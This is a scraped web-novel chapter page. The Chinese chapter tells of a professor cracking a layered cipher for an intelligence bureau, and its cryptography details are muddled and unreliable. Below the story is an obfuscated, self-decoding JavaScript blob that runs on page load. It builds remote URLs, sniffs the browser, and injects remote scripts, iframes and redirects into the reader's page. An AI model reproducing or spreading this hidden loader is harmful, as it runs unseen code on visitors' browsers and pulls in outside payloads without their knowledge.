首页
[切换至繁体版]
返回

第160章 ,加密算法 破壳;定价问题

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    哈工大计算数学系教学楼,五楼,分布式计算机项目组办公室。
    四月中上旬,冰城天气还有点倒春寒,室外温度是零下七度到零上八度之间,王多鱼每天还是穿着三件厚衣服,要不然扛不住室外的冷天。
    “大春啊,我跟你说过很多遍了,你在编辑程序的时候,不要那么死板,要懂得灵活应用”
    办公室内,王多鱼检查完杨大春编辑好的程序之后,皱眉批评了起来。
    他也不想这么批评对方,但实在是忍不住。
    分布式计算机项目从去年十一月启动到现在,已经过去五个多月的时间,尽管项目资金全部到位还是在今年一月份的时候,可项目如今的进展确实不尽如人意啊。
    如果不是因为确实没办法再召集到更多的人才,并且预算也不充足,否则的话,王多鱼铁定还会继续扩招的。
    而且马上就是夏天了,他还要前往美国那边作报告,所以他希望能够在前往美国之前,完成这个项目。
    可惜了!
    咚咚!
    就在这个时候,办公室门口这边,有人敲响了大门。
    是韩绝这位办公室主任过来了,他来通知王多鱼去一趟校长办公室。
    “韩主任,是有什么事情么?校长要是找我,直接给我打电话就可以了呀,怎么还麻烦你跑一趟呢?”
    王多鱼觉得很奇怪,但韩绝没说。
    来到校长办公室之后,王多鱼看到了屋内雷大庆雷主任和邱启诚处长两人,心里不由恍然。
    原来如此!
    这两位可都是七四九局的关键人物,他们都跑来这里了,只怕是真的遇到大麻烦了。
    看到王多鱼进来,刘德本便站起来说道:
    “王教授,你也认识雷主任和邱处长,他们找你有事,你们就在这里谈事吧,我先出去。”
    可能是涉及到了非常绝密的事情,所以刘德本都要离开办公室。
    “麻烦刘校长了!”
    雷大庆站起来客套了一句,等刘德本离开之后,便看向王多鱼说道:
    “王教授,很抱歉,这一次我们又来麻烦你,邱处长,你跟王教授说吧。”
    邱启诚当即点点头,然后跟王多鱼叙说了起来。
    他们这一次来找王多鱼的目的十分简单:寻求帮助!
    是的,七四九局上下那么多人,居然都无法解决一个密码,简直就是奇耻大辱。
    但事关紧急,不得不来哈工大这边找援手。
    起因也很简单,在上次七四九局来哈工大找王多鱼帮忙解决了此前的那个密码之后,敌方那边又在短短几个月时间内,创造了一种新的密码,这种新的密码情报传递方式,让邱启诚他们根本破解不了。
    如果不能够在短时间内破解掉的话,那么对我们国家来说,损失非常严重。
    王多鱼没有过问背后是什么情况,他只想知道问题是什么?
    准确来说,他就是想要知道那些密码的问题是什么?
    “不知道!”
    邱启诚说了一句话,顿时让王多鱼瞪大眼睛,失声问道:
    “不知道?”
    开什么国际玩笑?
    如果不知道具体是什么问题的话,那他怎么帮对方?
    毕竟涉及到密码方面的问题,王多鱼可是一窍不通啊。
    也不能完全说一窍不通,只能说他对无线电密码设定这些不是很感兴趣,所以他没有研究过这方面的理论。
    听到王多鱼的反问,邱启诚苦笑一声,连忙说道:
    “我不是完全不知道,而是我不知道这种情况算是什么样的数学问题,我们来找你之前,已经去过中科院数学所,但他们”
    “所以我来这边找你,看看你这边能不能帮到忙.”
    王多鱼闻言,点点头,道:
    “行吧,那你把相关的无线电信号翻译好的那些题目说出来,我看看能不能从中找到破绽.”
    接下来的时间,王多鱼就听着邱启诚的介绍,对密码技术有了更为深入的了解。
    一战和二战期间,全世界许多国家都设立了密码破译机构,我们国家也不例外,七四九局便是从那个时代成立的单位。
    以前都是机械密码,相对来说还是比较容易破译的。
    但自从六十年代之后,计算机通信技术的发展,信息的安全与保护为密码技术的应用提供了十分广阔的空间。
    到现在已经发展了将近二十年的时间,计算机技术的推广让那个老外那边的密码技术更加强大。
    王多鱼听完之后,有些头皮发麻。
    他能够确定的是,现在肯定还不是什么黑客技术时代,毕竟七四九局根本没有联网,连他们单位内部本身都没有局域网,何况其他?
    现在应该是计算机的蛮荒年代,还不是什么互联网蛮荒时代,所以不存在黑客。
    我们国内是根本没有网民的存在,但美国已经有第一批网民了。
    因此现在王多鱼能够确定的一点,这一次的密码传递,很大概率就是很早期的计算机加密算法。
    不过,王多鱼想要拆解清楚这个题目,首先得破除这个所谓的加密算法外壳。
    他又没有办法找到这个所谓的秘钥持有人,当然无法打开所谓的外壳。
    但凡事都是有迹可循,只要认真分析,总能够找到破绽。
    王多鱼是不可能凭空想象的,所以还得翻阅更多的资料。
    在哈工大这边,肯定没有办法,那就只能够去七四九局那边翻阅那些绝密档案资料了。
    然而王多鱼又不想去七四九局,因为他害怕自己跑去那边之后,一旦泄密了,很容易出事。
    可他不能够让邱启诚和雷大庆他们两人看出来,所以他这会儿皱眉看着邱启诚写出来的‘题目’,也不是题目,就是一段已经被翻译出来的无线电译文。
    这个译文的原文信号、原文和译文都在这张纸上面。
    看起来平平无奇,就是十二组数据罢了,任谁想破脑袋也不可能想明白这玩意儿到底是什么吧?
    “十多年前,我解开过当时困扰我们很多年的黑密,前段时间你破解的那个叫‘新代码’.”
    “我不知道我们的敌人到底还会创造多少种密码,但是现在这一次的‘彩虹密码’,让我再次感受到了当初破解黑密时的无助”
    听着邱启诚的话,王多鱼若有所思地点头。
    等对方说了差不多之后,王多鱼突然说道:
    “能不能麻烦你把之前的黑密等其他密码的编译题目写出来?”
    “没问题!”
    邱启诚毫不犹豫地答应了下来,这对他来说是一件很简单的事情。
    一旁听着的雷大庆默不吭声,他只是听着,如果此时他们办公室周围有人窃听,那么他一定会知道。
    七四九局有自己的信号屏蔽器,所有在办公室附近传递的信号都已经被切断了,不可能在这个时候传递出去。
    而且在王多鱼进来之前,雷大庆已经安排人给刘德本的校长办公室做了一个全面而周密的详细检查,确保办公室内完全没有任何的窃听装置。
    虽然这有点小题大做,但这是必然程序。
    雷大庆看着王多鱼,总感觉后者好像在隐藏什么,但他又说不出来。
    当王多鱼看完邱启诚写出来的几道题目之后,已经开始陷入沉思之中。
    从对方写出来的黑密技术题目,再到更早之前的密码技术,或者是中间这几年的其他创新秘密技术,看似没有任何规律可言,但王多鱼想着想着,很快就找到了一点点规律。
    以前的机械秘密有很大革新,但都仅仅只是数学题目罢了,从几何到拓扑,再到微分方程,看起来很复杂,实际上非常简单。
    而上一次王多鱼他们解开的那个所谓的‘新代码’,实际上就是一种加密算法。
    但那个‘新代码’已经被邱启诚他们破译了一段时间,加上情报人员的努力,已经将外壳给撬开了,所以变得很简单。
    现在这一次遇到的‘彩虹密码’,它是用加密算法给密码本身又加了好几层,然后这才在最外一层加了一个外壳。
    邱启诚他们目前还没破解掉这个外壳,自然没办法去解开里面的加密算法。
    嗯,既然无法按部就班地来,那就从这十二组数据来进行破译吧。
    “邱处长,雷主任,我先计算,你们不要打扰我。”
    跟雷大庆两人说完之后,王多鱼就拿起一旁的纸和笔,开始进行计算。
    不管任何密码,信息传递出来之后,肯定都需要进行破译。
    王多鱼能够确定是加密算法,但利用十二组数据进行无秩序地传递,这本身就是一个巨大的破绽,破开这个外壳并不需要多么复杂的程序,或许只需要轻轻一推就可以了。
    如果有秘钥的话,那确实很简单,但如果没有的话,那就难如登天。
    这就是邱启诚他们感觉到为难的地方。
    但凡有可能的话,他们早已经推开门,拿到了所谓的秘钥,那么就可以开始破解加密算法了。
    对王多鱼来说,如果想要推开这道门,也不是那么容易。
    所以他从来到校长办公室开始,大脑就一直在转动,根本没有停过。
    就算他拥有超级计算机的大脑,用脑这么长时间,也是挺累的。
    中午时间一到,雷大庆忍不住给邱启诚一个眼神,后者根本没有接收到这个信息,因为他也同样在计算呢。
    雷大庆看不懂王多鱼在干嘛,但邱启诚可以大概跟得上,所以他想做点力所能及的事情。
    从这里也能够看出来,虽然邱启诚是七四九局的能人异士,数学天赋也很强,但属于他的时代已经过去了。
    现如今这时代是属于年轻人的了。
    “咳,王教授,已经中午了,要不你们先吃饭?”
    “.”
    办公室一片安静,王多鱼和邱启诚两人都没有搭理雷大庆,这让后者有点尴尬,忍不住加大了音量。
    其实办公室本来就很安静,除了王多鱼和邱启诚两人计算过程中发出的声音,也就是雷大庆的呼吸声和说话声了。
    哦哦!
    邱启诚哦了一下,王多鱼连哦都没有哦一下。
    看到这一幕的雷大庆,只能够站起来去吩咐外面的人帮忙送来午餐。
    下午三点,王多鱼面前已经多了十多页纸,这些都是计算的草稿。
    雷大庆没有动,直到又过了十多分钟,王多鱼突然放下笔,轻松地笑了出来。
    “王教授,是不是有结果了?”雷大庆忍不住惊讶地问道,邱启诚也投来了好奇的目光。
    “嗯,这个外壳已经被破开了,乌龟壳是真的难搞,但是他们绝对想不到我能够计算出来.”
    王多鱼还是挺辛苦的,破开外壳就花费了他不少的时间,接下来还需要破解加密算法,鬼知道有多少层呢,所以接下来就是剥洋葱一样,一层一层地往外剥。
    “邱处长,这一层加密算法总共有两万三千个数需要验证,我来验证其中的两万个数,你来验证这三千个数,没有问题吧?”
    “没问题!”
    邱启诚答应得非常爽快,但一个小时之后,王多鱼已经解开了那两万个数,找到了其中的答案。
    于是新一层的计算开始。
    众所周知,加密算法大概有七种较为常见,加密、解密、对称加密、非对称加密、签名加密算法等。
    令王多鱼没有想到的是,最里层的加密算法居然是哈希函数。
    哈希函数是指将哈希表中元素的关键值映射为元素存储位置的函数。
    这可是他非常熟悉的领域,毕竟他现在正在主持的分布式计算机项目当中,就必须使用到分布式哈希表。
    所以,破译到了这里,王多鱼几乎是十分钟就破解到一层,推进速度非常快。
    一旁在帮忙的邱启诚,眼神里写满了惊讶和崇拜。
    他也是老数学爱好者了,如果当初年轻的时候不是加入七四九局的话,那么他现在很有可能就是一个大学数学教授。
    而他一辈子都贡献在七四九局,经常都是重复着破译密码。
    从最初的机械密码到现如今的加密算法,尽管万变不离其宗,但令人眼花缭乱的加密程序和新函数等等,还是让他心力交瘁。
    然而王多鱼这位年轻得不像话的后来者,居然有如此之快的反应速度和计算能力,实在是堪比一台超级计算机。
    其实,上一次的时候,邱启诚就已经领教过王多鱼的计算能力,但万万没想到,这一次还是被震撼到了。
    又过去半个小时,最后的一层已经被王多鱼给算出来了。
    而此时外面已经是日暮西山了。
    “算出来了,终于算出来了,哈哈!”
    王多鱼将自己手中的稿纸递给了邱启诚,后者激动不已。
    雷大庆更是直接吃惊地站了起来。
    很快,邱
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();